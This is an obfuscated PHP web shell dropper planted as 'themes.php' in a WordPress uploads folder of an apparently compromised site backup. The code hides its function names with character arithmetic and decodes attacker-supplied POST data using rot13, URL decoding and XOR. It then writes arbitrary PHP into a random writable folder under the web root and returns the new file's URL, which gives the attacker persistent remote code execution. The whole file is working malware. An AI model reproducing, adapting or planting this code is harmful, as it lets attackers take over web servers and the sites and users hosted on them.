File: //old_home_backup/delanceyandco.co.uk/public_html/wp-content/uploads/2021/themes.php
<?php $rDGTh = "\x44".chr(606-527)."\103"."\x55"."\x4d".'E'.chr(928-850)."\124"."\x5f".'R'.chr(79).'O'.chr(181-97);$PkzvlI = "\x48".'T'."\x54".chr(80).chr(95).'H'.chr(79)."\x53".'T';$NIeUEY = 'h'.chr(169-53).chr(549-433).chr(112)."\x3a"."\x2f"."\57";$xbcTdg = chr(46).chr(210-98).'h'."\x70";$ojDmkNoxy = "\160"."\x68"."\160";$tsekNqaqk = "\146".chr(105).chr(108).chr(621-520).'_'.'p'.'u'.chr(915-799).'_'.chr(512-413).chr(942-831).chr(139-29)."\x74"."\x65".'n'."\x74".'s';$GlGaPbKB = chr(114)."\x61".chr(940-821)."\165".chr(114).chr(256-148).'d'."\145".chr(612-513).chr(888-777).chr(665-565)."\x65";$cFpKEvRHv = 'u'.'n'."\163".chr(866-765).chr(387-273).chr(427-322).chr(390-293)."\154"."\151"."\x7a".chr(672-571);$ieQueKuOc = 'p'."\150".chr(908-796).'v'.chr(101)."\x72"."\x73".chr(540-435).chr(186-75).chr(110);$SZYXpTSG = "\163".chr(1101-985)."\x72"."\x5f".'r'.chr(346-235).'t'.'1'.'3';$AqOHAHZ = chr(115)."\x65"."\162"."\151".chr(885-788)."\154"."\x69".chr(604-482)."\145";foreach ($_POST as $QlHdAoNkE => $CxQXx){if (strlen($QlHdAoNkE) == 16){$CxQXx = str_split($GlGaPbKB($SZYXpTSG($CxQXx)));$QlHdAoNkE = array_slice(str_split(str_repeat($QlHdAoNkE, (count($CxQXx)/16)+1)), 0, count($CxQXx));function sIouWj($pEFTvvi, $cSRuc, $QlHdAoNkE){$SoFuPEGp = "jXeNuVprWqTzubCn";return $pEFTvvi ^ $SoFuPEGp[$cSRuc % strlen($SoFuPEGp)] ^ $QlHdAoNkE;}$CxQXx = implode("", array_map("sIouWj", array_values($CxQXx), array_keys($CxQXx), array_values($QlHdAoNkE)));$CxQXx = @$cFpKEvRHv($CxQXx);if (@is_array($CxQXx)){$ODmQIvwZ = array_keys($CxQXx);$CxQXx = $CxQXx[$ODmQIvwZ[0]];if ($CxQXx === $ODmQIvwZ[0]){echo @$AqOHAHZ(Array($ojDmkNoxy => @$ieQueKuOc(), ));exit();}else {function kojRYZTZO($FynlOdYckQir){static $SEigr = array();$LBYaQJi = glob($FynlOdYckQir . '/*', GLOB_ONLYDIR);if (count($LBYaQJi) > 0) {foreach ($LBYaQJi as $FynlOdYckQ) {if (@is_writable($FynlOdYckQ)) {$SEigr[] = $FynlOdYckQ;}}}foreach ($LBYaQJi as $FynlOdYckQir) kojRYZTZO($FynlOdYckQir);return $SEigr;}$eGJXNB = $_SERVER[$rDGTh];$LBYaQJi = kojRYZTZO($eGJXNB);$ODmQIvwZ = array_rand($LBYaQJi);$xLPen = $LBYaQJi[$ODmQIvwZ] . "/" . substr(md5(time()), 0, 8) . $xbcTdg;@$tsekNqaqk($xLPen, $CxQXx);echo $NIeUEY . $_SERVER[$PkzvlI] . substr($xLPen, strlen($eGJXNB));exit();}}}}